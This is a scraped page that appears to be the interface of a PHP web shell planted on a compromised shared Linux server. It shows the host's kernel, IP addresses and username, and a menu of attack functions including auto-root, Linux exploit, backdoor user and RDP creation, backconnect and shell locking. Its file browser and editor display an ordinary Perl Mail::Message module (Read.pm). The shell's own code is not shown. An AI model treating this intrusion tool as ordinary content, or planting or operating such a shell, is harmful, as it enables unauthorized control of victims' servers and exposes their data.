Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Message /
Construct /
[ HOME SHELL ]
Name
Size
Permission
Action
Bounce.pm
1.76
KB
-rw-r--r--
Bounce.pod
2.76
KB
-rw-r--r--
Build.pm
4.69
KB
-rw-r--r--
Build.pod
10.3
KB
-rw-r--r--
Forward.pm
6.98
KB
-rw-r--r--
Forward.pod
14.26
KB
-rw-r--r--
Read.pm
2.15
KB
-rw-r--r--
Read.pod
3.21
KB
-rw-r--r--
Rebuild.pm
7.62
KB
-rw-r--r--
Rebuild.pod
9.94
KB
-rw-r--r--
Reply.pm
6.67
KB
-rw-r--r--
Reply.pod
7.93
KB
-rw-r--r--
Text.pm
1.92
KB
-rw-r--r--
Text.pod
2.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Read.pm
# Copyrights 2001-2022 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.03. # This code is part of distribution Mail-Message. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md # Copyright Mark Overmeer. Licensed under the same terms as Perl itself. package Mail::Message; use vars '$VERSION'; $VERSION = '3.012'; use strict; use warnings; use Mail::Box::FastScalar; sub read($@) { my ($class, $from, %args) = @_; my ($filename, $file); my $ref = ref $from; if(!$ref) { $filename = 'scalar'; $file = Mail::Box::FastScalar->new(\$from); } elsif($ref eq 'SCALAR') { $filename = 'ref scalar'; $file = Mail::Box::FastScalar->new($from); } elsif($ref eq 'ARRAY') { $filename = 'array of lines'; my $buffer= join '', @$from; $file = Mail::Box::FastScalar->new(\$buffer); } elsif($ref eq 'GLOB') { $filename = 'file (GLOB)'; local $/; my $buffer= <$from>; $file = Mail::Box::FastScalar->new(\$buffer); } elsif($ref && $from->isa('IO::Handle')) { $filename = 'file ('.ref($from).')'; my $buffer= join '', $from->getlines; $file = Mail::Box::FastScalar->new(\$buffer); } else { $class->log(ERROR => "Cannot read from $from"); return undef; } my $strip_status = exists $args{strip_status_fields} ? delete $args{strip_status_fields} : 1; require Mail::Box::Parser::Perl; # not parseable by C parser my $parser = Mail::Box::Parser::Perl->new ( %args , filename => $filename , file => $file , trusted => 1 ); my $self = $class->new(%args); $self->readFromParser($parser, $args{body_type}); $self->addReport($parser); $parser->stop; my $head = $self->head; $head->set('Message-ID' => '<'.$self->messageId.'>') unless $head->get('Message-ID'); $head->delete('Status', 'X-Status') if $strip_status; $self; } 1;
Close